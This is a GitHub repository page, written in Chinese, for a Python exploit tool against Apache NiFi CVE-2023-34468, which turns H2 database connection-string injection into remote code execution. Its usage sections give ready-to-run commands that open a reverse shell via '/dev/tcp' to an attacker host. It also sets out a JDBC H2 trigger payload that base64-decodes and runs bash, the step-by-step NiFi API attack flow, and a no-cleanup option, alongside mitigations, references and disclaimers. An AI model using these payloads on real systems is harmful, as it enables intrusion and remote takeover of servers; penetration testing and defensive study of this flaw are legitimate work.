Jeanpt/CVE-2023-34468

GitHub: Jeanpt/CVE-2023-34468

针对 Apache NiFi 0.0.2–1.21.0 版本 H2 数据库连接字符串注入导致远程代码执行(CVE-2023-34468)的 Python 漏洞利用工具,支持多种认证方式和反向 shell 回连。

Stars: 0 | Forks: 0

# CVE-2023-34468 漏洞利用 ![GitHub stars](https://img.shields.io/github/stars/Jeanpt/CVE-2023-34468?style=social) ![GitHub license](https://img.shields.io/github/license/Jeanpt/CVE-2023-34468) ## 概述 本仓库提供了一个基于 Python 的 **CVE-2023-34468** 漏洞利用工具。该漏洞是 Apache NiFi 0.0.2 至 1.21.0 版本中的一个严重的远程代码执行漏洞 (CVSS 9.8)。它允许经过身份验证的用户通过操纵嵌入触发器的 H2 数据库连接字符串来执行任意代码。 ⚠️ **警告:** 仅供教育和授权测试目的使用。未经授权访问计算机系统是违法行为。 ## 漏洞详情 - **CVE ID:** CVE-2023-34468 - **受影响版本:** Apache NiFi 0.0.2–1.21.0 - **影响:** 远程代码执行 (RCE) - **CVSS 评分:** 9.8 (严重) - **发现日期:** 2023 年 6 月 12 日 - **描述:** DBCPConnectionPool 和 HikariCPConnectionPool Controller 服务允许用户使用 H2 驱动程序配置数据库 URL,这可以通过 H2 的 CREATE TRIGGER 功能执行任意 Java 代码。当连接初始化时,嵌入的 JavaScript 代码将以 NiFi 的权限执行。 ## 前置条件 - Python 3.7+ - `requests` 库 - 能够访问 NiFi API 的网络(默认端口 8080 或 8443) - 未启用身份验证或拥有有效凭据的目标 NiFi 实例 - 为接收反向 shell 而设置的监听器(例如,`nc -lnvp 5555`) ## 快速开始 ### 克隆并安装 ``` git clone https://github.com/Jeanpt/CVE-2023-34468.git cd CVE-2023-34468 pip install -r requirements.txt ``` ### 未启用身份验证的 NiFi(无需凭据) ``` # 启动你的监听器 nc -lnvp 5555 # 运行 exploit — 身份验证会被自动检测,open instances 无需任何 flags python3 exploit.py \ -t http://nifi.target.com:8080 \ -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \ -lh ATTACKER_IP \ -lp 5555 ``` ### 启用身份验证的 NiFi(用户名/密码) ``` python3 exploit.py \ -t https://nifi.target.com:8443 \ -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \ -lh ATTACKER_IP \ -lp 5555 \ -u admin -p password123 ``` ### 启用身份验证的 NiFi(Bearer token) ``` python3 exploit.py \ -t https://nifi.target.com:8443 \ -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \ -lh ATTACKER_IP \ -lp 5555 \ --token ``` ### 跳过清理(在目标上留下痕迹) ``` python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup ``` ### 所有选项 ``` python3 exploit.py --help ``` | 命令 | 描述 | |---------|-------------| | `-t, --target` | 目标 NiFi 实例的 URL(必填) | | `-c, --command` | 要执行的命令(必填) | | `-lh, --lhost` | 用于回调的监听器主机(必填) | | `-lp, --lport` | 用于回调的监听器端口(必填) | | `-u, --username` | NiFi 用户名(用于启用身份验证的实例) | | `-p, --password` | NiFi 密码(用于启用身份验证的实例) | | `--token` | Bearer token(用于启用身份验证的实例) | | `--no-cleanup` | 漏洞利用后跳过清理 | | `--delay` | 清理前等待的秒数(默认:10) | | `--driver-path` | 覆盖 H2 驱动 jar 路径(默认省略) | **验证:** 检查你的监听器是否收到了反向 shell 连接。运行 `id` 以确认代码是否执行。 ## 工作原理(技术细节) ### 攻击流程 1. **侦察:** 通过 `/nifi-api/system-diagnostics` 识别 NiFi 版本 2. **创建 DBCP 服务:** 向 `/nifi-api/process-groups/root/controller-services` POST 恶意的 H2 连接字符串 3. **创建 Processor:** 向相同的 process group POST ExecuteSQL processor 4. **配置 Processor:** 将 processor 与恶意的 DBCP 服务关联 5. **启用服务:** 向 `/nifi-api/controller-services/{id}/run-status` 发送 PUT 请求,状态为 `ENABLED` 6. **触发 RCE:** 向 `/nifi-api/processors/{id}/run-status` 发送 PUT 请求,状态为 `RUNNING` —— H2 触发器在连接时被触发 ### H2 载荷结构 ``` jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}') $$--=x ``` **关键点:** - 使用反斜杠转义分号:`\;` - JavaScript 在 `BEFORE SELECT ON INFORMATION_SCHEMA.TABLES` 时触发(自动触发) - 使用 Base64 编码载荷以避免特殊字符问题 - 填充的等号被替换为空格,以避免 H2 解析问题 ## 载荷示例 ### 反向 Shell ``` # 直接运行 exploit python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555 ``` ### 命令执行 ``` python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555 ``` ## 缓解措施 - **更新:** 升级到 Apache NiFi 1.22.0 或更高版本 - **访问控制:** 通过防火墙/WAF 限制对 NiFi API 的访问 - **身份验证:** 在 NiFi 上启用并强制执行身份验证 - **监控:** 对异常的 controller 服务配置发出告警 - **网络隔离:** 将 NiFi 与不受信任的网络隔离 ## 参考 - [NVD - CVE-2023-34468](https://nvd.nist.gov/vuln/detail/CVE-2023-34468) - [Apache NiFi 安全公告](https://nifi.apache.org/security.html#1.22.0) - [NIFI-11653 - 问题追踪](https://issues.apache.org/jira/browse/NIFI-11653) - [Apache 邮件列表讨论](https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8) ## 免责声明 本工具仅供安全研究和授权测试使用。作者不对本漏洞利用工具的滥用或造成的损害承担责任。请务必仅在经过授权的环境中进行负责任的测试。 ## 致谢 - **发现者:** Matei "Mal" Badanoiu - **Metasploit 模块:** h00die - **Python POC:** Jean ## 许可证 MIT 许可证 - 详情请参阅 LICENSE 文件 **专为安全研究和授权渗透测试而构建。** 主题:`apache-nifi` `h2-database` `rce` `exploit` `cve-2023-34468` `python` `security-research`
标签:Apache NiFi, CISA项目, CVE-2023-34468, CVSS 9.8, DBCPConnectionPool, H2数据库注入, HikariCPConnectionPool, Java代码执行, PoC, RCE, 反弹Shell, 安全测试, 攻击性安全, 无摄像头检测, 暴力破解, 漏洞复现, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞